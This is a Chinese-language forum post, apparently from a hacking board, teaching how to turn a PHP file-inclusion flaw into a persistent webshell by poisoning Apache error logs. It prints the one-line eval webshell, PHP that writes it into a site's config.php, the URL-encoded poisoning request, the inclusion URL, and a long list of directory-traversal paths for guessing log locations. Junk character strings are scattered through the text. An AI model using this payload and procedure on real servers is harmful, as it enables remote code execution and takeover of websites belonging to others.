php包含apache日志写马

admin

因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
0 y1 B' t# S3 U6 _; J
, ?9 B+ c+ g7 m比如还是这句一句话木马
& u3 [" a2 N! Z- ]3 u: Q" M0 d: {<?eval($_POST[cmd]);?>   
% Y. L7 g/ H, A; ?- W
8 q+ c$ \* \2 \! d6 `9 j% j到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
4 a$ Y! N, F8 d) |3 r3 t4 ?9 J; Xfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
$ D' y' Z  w/ m# i' V
( e( \+ l6 }1 N1 ^! N- q<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
/ k( V: B4 v$ B# {: mfclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
3 J5 q) ^* I# X$ H5 h8 o3 g转换为
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
" o; _( h" m3 e! [: K# `config%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
# d% S3 D- E0 i  w%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
1 J) P# ~8 F  a1 a7 ^# pfclose%28%24fp%29%3B%3F%3E
我们提交
! i+ z: V, X2 Ihttp://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
( [0 V0 Q4 s; o- I; L: [cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E
  C/ m- h( J9 g  f4 T% T- I
% X1 v5 E; G& I! L这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
9 I3 ?) i- `0 h$ G7 P2 f8 k# |
: z1 c$ @* }; k9 M. i6 G# x- `这样webshell就写入成功了，config.php里就写入一句木马语句
OK.
http://www.xxx.com/forum/config.php这个就成了我们的webshell
( z) N- [* K1 o# g直接用lanker的客户端一连，主机就是你的了。

  U9 M. N9 o/ ePS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

7 D( G2 ?- [5 g; w% z1 ~1 F其他的日志路径，你可以去猜，也可以参照这里。
, W: Y5 u" ~" g: L: f../../../../../../../../../../var/log/httpd/access_log
. N" y/ M# Z" X6 ?. Z& }% |/ _../../../../../../../../../../var/log/httpd/error_log
$ _; m) d# d3 B  }& G1 f8 Q../apache/logs/error.log
+ u  L4 p6 j3 @' I4 e../apache/logs/access.log
../../apache/logs/error.log
# m/ \' n' E$ @../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
../../../../../../../../../../etc/httpd/logs/acces.log
$ u& ~2 e8 _% q: a. b# i( T../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
. B% o' s6 r! X../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
2 v9 m% g; w; b& E' x../../../../../../../../../../usr/local/apache/logs/access.log
../../../../../../../../../../var/log/apache/access_log
/ s; ?4 g6 \3 T" L../../../../../../../../../../var/log/apache/access.log
' X; b9 Q: K( q8 |4 E../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/www/logs/error_log
../../../../../../../../../../var/www/logs/error.log
0 Y) [. y% x  D- b0 [3 S  M../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
../../../../../../../../../../var/log/apache/error.log
/ q, O; a8 Y+ l  B7 j../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
% P* n5 p! U+ o( J/var/log/httpd/access_log      
1 _7 U% K9 R% s7 ^/var/log/httpd/error_log     
../apache/logs/error.log     
& ~" D6 |: i* L! U; ]../apache/logs/access.log
../../apache/logs/error.log
../../apache/logs/access.log
8 y' |: e. a. {3 z, U../../../apache/logs/error.log
../../../apache/logs/access.log
5 h$ i: i* F- @$ q/etc/httpd/logs/acces_log
% i, z* c' g) ~; i# s- D  F8 n) ^9 |/etc/httpd/logs/acces.log
1 ~5 r+ B/ A. o5 K) j! t/etc/httpd/logs/error_log
  r2 E' Q& M, O' p' O  s: O1 O/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
  v" ]1 \# H# w4 h' S6 Y. C- s( w/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
: C6 S- w/ O( w/var/log/apache/access.log
7 y+ @3 O$ z& V) J1 x6 j/var/log/access_log
/var/www/logs/error_log
) c' u6 C5 y2 v9 e7 ~/ T* f$ |1 a/var/www/logs/error.log
/usr/local/apache/logs/error_log
1 t9 N4 S; u7 j; A8 z# W/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
" f' s' V! Z  t  U- D+ p6 h6 t/var/log/error_log